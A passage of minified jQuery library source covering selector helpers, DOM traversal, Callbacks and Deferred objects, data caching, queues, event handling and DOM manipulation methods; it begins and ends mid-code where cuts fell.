r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null})),ae}(n);C.find=k,C.expr=k.selectors,C.expr[":"]=C.expr.pseudos,C.uniqueSort=C.unique=k.uniqueSort,C.text=k.getText,C.isXMLDoc=k.isXML,C.contains=k.contains,C.escapeSelector=k.escape;var S=function(e,t,n){for(var r=[],i=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&C(e).is(n))break;r.push(e)}return r},N=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},A=C.expr.match.needsContext;function D(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var j=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function L(e,t,n){return m(t)?C.grep(e,(function(e,r){return!!t.call(e,r,e)!==n})):t.nodeType?C.grep(e,(function(e){return e===t!==n})):"string"!=typeof t?C.grep(e,(function(e){return c.call(t,e)>-1!==n})):C.filter(t,e,n)}C.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?C.find.matchesSelector(r,e)?[r]:[]:C.find.matches(e,C.grep(t,(function(e){return 1===e.nodeType})))},C.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(C(e).filter((function(){for(t=0;t<r;t++)if(C.contains(i[t],this))return!0})));for(n=this.pushStack([]),t=0;t<r;t++)C.find(e,i[t],n);return r>1?C.uniqueSort(n):n},filter:function(e){return this.pushStack(L(this,e||[],!1))},not:function(e){return this.pushStack(L(this,e||[],!0))},is:function(e){return!!L(this,"string"==typeof e&&A.test(e)?C(e):e||[],!1).length}});var q,_=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(C.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:_.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof C?t[0]:t,C.merge(this,C.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:x,!0)),j.test(r[1])&&C.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=x.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(C):C.makeArray(e,this)}).prototype=C.fn,q=C(x);var O=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}C.fn.extend({has:function(e){var t=C(e,this),n=t.length;return this.filter((function(){for(var e=0;e<n;e++)if(C.contains(this,t[e]))return!0}))},closest:function(e,t){var n,r=0,i=this.length,o=[],s="string"!=typeof e&&C(e);if(!A.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(s?s.index(n)>-1:1===n.nodeType&&C.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?C.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?c.call(C(e),this[0]):c.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(C.uniqueSort(C.merge(this.get(),C(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),C.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return S(e,"parentNode")},parentsUntil:function(e,t,n){return S(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return S(e,"nextSibling")},prevAll:function(e){return S(e,"previousSibling")},nextUntil:function(e,t,n){return S(e,"nextSibling",n)},prevUntil:function(e,t,n){return S(e,"previousSibling",n)},siblings:function(e){return N((e.parentNode||{}).firstChild,e)},children:function(e){return N(e.firstChild)},contents:function(e){return null!=e.contentDocument&&s(e.contentDocument)?e.contentDocument:(D(e,"template")&&(e=e.content||e),C.merge([],e.childNodes))}},(function(e,t){C.fn[e]=function(n,r){var i=C.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=C.filter(r,i)),this.length>1&&(H[e]||C.uniqueSort(i),O.test(e)&&i.reverse()),this.pushStack(i)}}));var R=/[^\x20\t\r\n\f]+/g;function M(e){return e}function I(e){throw e}function W(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}C.Callbacks=function(e){e="string"==typeof e?function(e){var t={};return C.each(e.match(R)||[],(function(e,n){t[n]=!0})),t}(e):C.extend({},e);var t,n,r,i,o=[],s=[],a=-1,u=function(){for(i=i||e.once,r=t=!0;s.length;a=-1)for(n=s.shift();++a<o.length;)!1===o[a].apply(n[0],n[1])&&e.stopOnFalse&&(a=o.length,n=!1);e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(a=o.length-1,s.push(n)),function t(n){C.each(n,(function(n,r){m(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==T(r)&&t(r)}))}(arguments),n&&!t&&u()),this},remove:function(){return C.each(arguments,(function(e,t){for(var n;(n=C.inArray(t,o,n))>-1;)o.splice(n,1),n<=a&&a--})),this},has:function(e){return e?C.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=s=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=s=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],s.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l},C.extend({Deferred:function(e){var t=[["notify","progress",C.Callbacks("memory"),C.Callbacks("memory"),2],["resolve","done",C.Callbacks("once memory"),C.Callbacks("once memory"),0,"resolved"],["reject","fail",C.Callbacks("once memory"),C.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},catch:function(e){return i.then(null,e)},pipe:function(){var e=arguments;return C.Deferred((function(n){C.each(t,(function(t,r){var i=m(e[r[4]])&&e[r[4]];o[r[1]]((function(){var e=i&&i.apply(this,arguments);e&&m(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[r[0]+"With"](this,i?[e]:arguments)}))})),e=null})).promise()},then:function(e,r,i){var o=0;function s(e,t,r,i){return function(){var a=this,u=arguments,l=function(){var n,l;if(!(e<o)){if((n=r.apply(a,u))===t.promise())throw new TypeError("Thenable self-resolution");l=n&&("object"==typeof n||"function"==typeof n)&&n.then,m(l)?i?l.call(n,s(o,t,M,i),s(o,t,I,i)):(o++,l.call(n,s(o,t,M,i),s(o,t,I,i),s(o,t,M,t.notifyWith))):(r!==M&&(a=void 0,u=[n]),(i||t.resolveWith)(a,u))}},c=i?l:function(){try{l()}catch(n){C.Deferred.exceptionHook&&C.Deferred.exceptionHook(n,c.stackTrace),e+1>=o&&(r!==I&&(a=void 0,u=[n]),t.rejectWith(a,u))}};e?c():(C.Deferred.getStackHook&&(c.stackTrace=C.Deferred.getStackHook()),n.setTimeout(c))}}return C.Deferred((function(n){t[0][3].add(s(0,n,m(i)?i:M,n.notifyWith)),t[1][3].add(s(0,n,m(e)?e:M)),t[2][3].add(s(0,n,m(r)?r:I))})).promise()},promise:function(e){return null!=e?C.extend(e,i):i}},o={};return C.each(t,(function(e,n){var s=n[2],a=n[5];i[n[1]]=s.add,a&&s.add((function(){r=a}),t[3-e][2].disable,t[3-e][3].disable,t[0][2].lock,t[0][3].lock),s.add(n[3].fire),o[n[0]]=function(){return o[n[0]+"With"](this===o?void 0:this,arguments),this},o[n[0]+"With"]=s.fireWith})),i.promise(o),e&&e.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=a.call(arguments),o=C.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?a.call(arguments):n,--t||o.resolveWith(r,i)}};if(t<=1&&(W(e,o.done(s(n)).resolve,o.reject,!t),"pending"===o.state()||m(i[n]&&i[n].then)))return o.then();for(;n--;)W(i[n],s(n),o.reject);return o.promise()}});var F=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;C.Deferred.exceptionHook=function(e,t){n.console&&n.console.warn&&e&&F.test(e.name)&&n.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},C.readyException=function(e){n.setTimeout((function(){throw e}))};var B=C.Deferred();function $(){x.removeEventListener("DOMContentLoaded",$),n.removeEventListener("load",$),C.ready()}C.fn.ready=function(e){return B.then(e).catch((function(e){C.readyException(e)})),this},C.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--C.readyWait:C.isReady)||(C.isReady=!0,!0!==e&&--C.readyWait>0||B.resolveWith(x,[C]))}}),C.ready.then=B.then,"complete"===x.readyState||"loading"!==x.readyState&&!x.documentElement.doScroll?n.setTimeout(C.ready):(x.addEventListener("DOMContentLoaded",$),n.addEventListener("load",$));var z=function(e,t,n,r,i,o,s){var a=0,u=e.length,l=null==n;if("object"===T(n))for(a in i=!0,n)z(e,t,a,n[a],!0,o,s);else if(void 0!==r&&(i=!0,m(r)||(s=!0),l&&(s?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(C(e),n)})),t))for(;a<u;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return i?e:l?t.call(e):u?t(e[0],n):o},U=/^-ms-/,X=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function Q(e){return e.replace(U,"ms-").replace(X,V)}var G=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Y(){this.expando=C.expando+Y.uid++}Y.uid=1,Y.prototype={cache:function(e){var t=e[this.expando];return t||(t={},G(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[Q(t)]=n;else for(r in t)i[Q(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][Q(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(Q):(t=Q(t))in r?[t]:t.match(R)||[]).length;for(;n--;)delete r[t[n]]}(void 0===t||C.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!C.isEmptyObject(t)}};var J=new Y,K=new Y,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=function(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}C.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),C.fn.extend({data:function(e,t){var n,r,i,o=this[0],s=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){for(n=s.length;n--;)s[n]&&0===(r=s[n].name).indexOf("data-")&&(r=Q(r.slice(5)),te(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each((function(){K.set(this,e)})):z(this,(function(t){var n;if(o&&void 0===t)return void 0!==(n=K.get(o,e))||void 0!==(n=te(o,e))?n:void 0;this.each((function(){K.set(this,e,t)}))}),null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each((function(){K.remove(this,e)}))}}),C.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,C.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=C.queue(e,t),r=n.length,i=n.shift(),o=C._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,(function(){C.dequeue(e,t)}),o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:C.Callbacks("once memory").add((function(){J.remove(e,[t+"queue",n])}))})}}),C.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?C.queue(this[0],e):void 0===t?this:this.each((function(){var n=C.queue(this,e,t);C._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&C.dequeue(this,e)}))},dequeue:function(e){return this.each((function(){C.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=C.Deferred(),o=this,s=this.length,a=function(){--r||i.resolveWith(o,[o])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";s--;)(n=J.get(o[s],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(a));return a(),i.promise(t)}});var ne=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,re=new RegExp("^(?:([+-])=|)("+ne+")([a-z%]*)$","i"),ie=["Top","Right","Bottom","Left"],oe=x.documentElement,se=function(e){return C.contains(e.ownerDocument,e)},ae={composed:!0};oe.getRootNode&&(se=function(e){return C.contains(e.ownerDocument,e)||e.getRootNode(ae)===e.ownerDocument});var ue=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&se(e)&&"none"===C.css(e,"display")};function le(e,t,n,r){var i,o,s=20,a=r?function(){return r.cur()}:function(){return C.css(e,t,"")},u=a(),l=n&&n[3]||(C.cssNumber[t]?"":"px"),c=e.nodeType&&(C.cssNumber[t]||"px"!==l&&+u)&&re.exec(C.css(e,t));if(c&&c[3]!==l){for(u/=2,l=l||c[3],c=+u||1;s--;)C.style(e,t,c+l),(1-o)*(1-(o=a()/u||.5))<=0&&(s=0),c/=o;c*=2,C.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ce={};function fe(e){var t,n=e.ownerDocument,r=e.nodeName,i=ce[r];return i||(t=n.body.appendChild(n.createElement(r)),i=C.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),ce[r]=i,i)}function pe(e,t){for(var n,r,i=[],o=0,s=e.length;o<s;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ue(r)&&(i[o]=fe(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<s;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}C.fn.extend({show:function(){return pe(this,!0)},hide:function(){return pe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each((function(){ue(this)?C(this).show():C(this).hide()}))}});var de,he,ge=/^(?:checkbox|radio)$/i,ve=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,me=/^$|^module$|\/(?:java|ecma)script/i;de=x.createDocumentFragment().appendChild(x.createElement("div")),(he=x.createElement("input")).setAttribute("type","radio"),he.setAttribute("checked","checked"),he.setAttribute("name","t"),de.appendChild(he),v.checkClone=de.cloneNode(!0).cloneNode(!0).lastChild.checked,de.innerHTML="<textarea>x</textarea>",v.noCloneChecked=!!de.cloneNode(!0).lastChild.defaultValue,de.innerHTML="<option></option>",v.option=!!de.lastChild;var ye={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function xe(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||"*"):void 0!==e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&D(e,t)?C.merge([e],n):n}function be(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}ye.tbody=ye.tfoot=ye.colgroup=ye.caption=ye.thead,ye.th=ye.td,v.option||(ye.optgroup=ye.option=[1,"<select multiple='multiple'>","</select>"]);var we=/<|&#?\w+;/;function Te(e,t,n,r,i){for(var o,s,a,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===T(o))C.merge(p,o.nodeType?[o]:o);else if(we.test(o)){for(s=s||f.appendChild(t.createElement("div")),a=(ve.exec(o)||["",""])[1].toLowerCase(),u=ye[a]||ye._default,s.innerHTML=u[1]+C.htmlPrefilter(o)+u[2],c=u[0];c--;)s=s.lastChild;C.merge(p,s.childNodes),(s=f.firstChild).textContent=""}else p.push(t.createTextNode(o));for(f.textContent="",d=0;o=p[d++];)if(r&&C.inArray(o,r)>-1)i&&i.push(o);else if(l=se(o),s=xe(f.appendChild(o),"script"),l&&be(s),n)for(c=0;o=s[c++];)me.test(o.type||"")&&n.push(o);return f}var Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(e,t){return e===function(){try{return x.activeElement}catch(e){}}()==("focus"===t)}function Ne(e,t,n,r,i,o){var s,a;if("object"==typeof t){for(a in"string"!=typeof n&&(r=r||n,n=void 0),t)Ne(e,a,n,r,t[a],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(s=i,(i=function(e){return C().off(e),s.apply(this,arguments)}).guid=s.guid||(s.guid=C.guid++)),e.each((function(){C.event.add(this,t,i,r,n)}))}function Ae(e,t,n){n?(J.set(e,t,!1),C.event.add(e,t,{namespace:!1,handler:function(e){var r,i,o=J.get(this,t);if(1&e.isTrigger&&this[t]){if(o.length)(C.event.special[t]||{}).delegateType&&e.stopPropagation();else if(o=a.call(arguments),J.set(this,t,o),r=n(this,t),this[t](),o!==(i=J.get(this,t))||r?J.set(this,t,!1):i={},o!==i)return e.stopImmediatePropagation(),e.preventDefault(),i&&i.value}else o.length&&(J.set(this,t,{value:C.event.trigger(C.extend(o[0],C.Event.prototype),o.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===J.get(e,t)&&C.event.add(e,t,Ee)}C.event={global:{},add:function(e,t,n,r,i){var o,s,a,u,l,c,f,p,d,h,g,v=J.get(e);if(G(e))for(n.handler&&(n=(o=n).handler,i=o.selector),i&&C.find.matchesSelector(oe,i),n.guid||(n.guid=C.guid++),(u=v.events)||(u=v.events=Object.create(null)),(s=v.handle)||(s=v.handle=function(t){return void 0!==C&&C.event.triggered!==t.type?C.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(R)||[""]).length;l--;)d=g=(a=Ce.exec(t[l])||[])[1],h=(a[2]||"").split(".").sort(),d&&(f=C.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=C.event.special[d]||{},c=C.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&C.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,s)||e.addEventListener&&e.addEventListener(d,s)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),C.event.global[d]=!0)},remove:function(e,t,n,r,i){var o,s,a,u,l,c,f,p,d,h,g,v=J.hasData(e)&&J.get(e);if(v&&(u=v.events)){for(l=(t=(t||"").match(R)||[""]).length;l--;)if(d=g=(a=Ce.exec(t[l])||[])[1],h=(a[2]||"").split(".").sort(),d){for(f=C.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],a=a[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),s=o=p.length;o--;)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||a&&!a.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));s&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||C.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)C.event.remove(e,d+t[l],n,r,!0);C.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,s,a=new Array(arguments.length),u=C.event.fix(e),l=(J.get(this,"events")||Object.create(null))[u.type]||[],c=C.event.special[u.type]||{};for(a[0]=u,t=1;t<arguments.length;t++)a[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){for(s=C.event.handlers.call(this,u,l),t=0;(i=s[t++])&&!u.isPropagationStopped();)for(u.currentTarget=i.elem,n=0;(o=i.handlers[n++])&&!u.isImmediatePropagationStopped();)u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((C.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,a))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()));return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,s,a=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],s={},n=0;n<u;n++)void 0===s[i=(r=t[n]).selector+" "]&&(s[i]=r.needsContext?C(i,this).index(l)>-1:C.find(i,this,null,[l]).length),s[i]&&o.push(r);o.length&&a.push({elem:l,handlers:o})}return l=this,u<t.length&&a.push({elem:l,handlers:t.slice(u)}),a},addProp:function(e,t){Object.defineProperty(C.Event.prototype,e,{enumerable:!0,configurable:!0,get:m(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[C.expando]?e:new C.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return ge.test(t.type)&&t.click&&D(t,"input")&&Ae(t,"click",Ee),!1},trigger:function(e){var t=this||e;return ge.test(t.type)&&t.click&&D(t,"input")&&Ae(t,"click"),!0},_default:function(e){var t=e.target;return ge.test(t.type)&&t.click&&D(t,"input")&&J.get(t,"click")||D(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},C.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},C.Event=function(e,t){if(!(this instanceof C.Event))return new C.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&C.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[C.expando]=!0},C.Event.prototype={constructor:C.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},C.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},C.event.addProp),C.each({focus:"focusin",blur:"focusout"},(function(e,t){C.event.special[e]={setup:function(){return Ae(this,e,Se),!1},trigger:function(){return Ae(this,e),!0},_default:function(){return!0},delegateType:t}})),C.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){C.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||C.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}})),C.fn.extend({on:function(e,t,n,r){return Ne(this,e,t,n,r)},one:function(e,t,n,r){return Ne(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,C(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each((function(){C.event.remove(this,e,n,t)}))}});var De=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,Le=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return D(e,"table")&&D(11!==t.nodeType?t:t.firstChild,"tr")&&C(e).children("tbody")[0]||e}function _e(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function He(e,t){var n,r,i,o,s,a;if(1===t.nodeType){if(J.hasData(e)&&(a=J.get(e).events))for(i in J.remove(t,"handle events"),a)for(n=0,r=a[i].length;n<r;n++)C.event.add(t,i,a[i][n]);K.hasData(e)&&(o=K.access(e),s=C.extend({},o),K.set(t,s))}}function Pe(e,t){var n=t.nodeName.toLowerCase();"input"===n&&ge.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=u(t);var i,o,s,a,l,c,f=0,p=e.length,d=p-1,h=t[0],g=m(h);if(g||p>1&&"string"==typeof h&&!v.checkClone&&je.test(h))return e.each((function(i){var o=e.eq(i);g&&(t[0]=h.call(this,i,o.html())),Re(o,t,n,r)}));if(p&&(o=(i=Te(t,e[0].ownerDocument,!1,e,r)).firstChild,1===i.childNodes.length&&(i=o),o||r)){for(a=(s=C.map(xe(i,"script"),_e)).length;f<p;f++)l=i,f!==d&&(l=C.clone(l,!0,!0),a&&C.merge(s,xe(l,"script"))),n.call(e[f],l,f);if(a)for(c=s[s.length-1].ownerDocument,C.map(s,Oe),f=0;f<a;f++)l=s[f],me.test(l.type||"")&&!J.access(l,"globalEval")&&C.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?C._evalUrl&&!l.noModule&&C._evalUrl(l.src,{nonce:l.nonce||l.getAttribute("nonce")},c):w(l.textContent.replace(Le,""),l,c))}return e}function Me(e,t,n){for(var r,i=t?C.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||C.cleanData(xe(r)),r.parentNode&&(n&&se(r)&&be(xe(r,"script")),r.parentNode.removeChild(r));return e}C.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,s,a=e.cloneNode(!0),u=se(e);if(!(v.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||C.isXMLDoc(e)))for(s=xe(a),r=0,i=(o=xe(e)).length;r<i;r++)Pe(o[r],s[r]);if(t)if(n)for(o=o||xe(e),s=s||xe(a),r=0,i=o.length;r<i;r++)He(o[r],s[r]);else He(e,a);return(s=xe(a,"script")).length>0&&be(s,!u&&xe(e,"script")),a},cleanData:function(e){for(var t,n,r,i=C.event.special,o=0;void 0!==(n=e[o]);o++)if(G(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?C.event.remove(n,r):C.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),C.fn.extend({detach:function(e){return Me(this,e,!0)},remove:function(e){return Me(this,e)},text:function(e){return z(this,(function(e){return void 0===e?C.text(this):this.empty().each((function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)}))}),null,e,arguments.length)},append:function(){return Re(this,arguments,(function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)}))},prepend:function(){return Re(this,arguments,(function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return Re(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}))},after:function(){return Re(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)}))},empty:function(){for(var 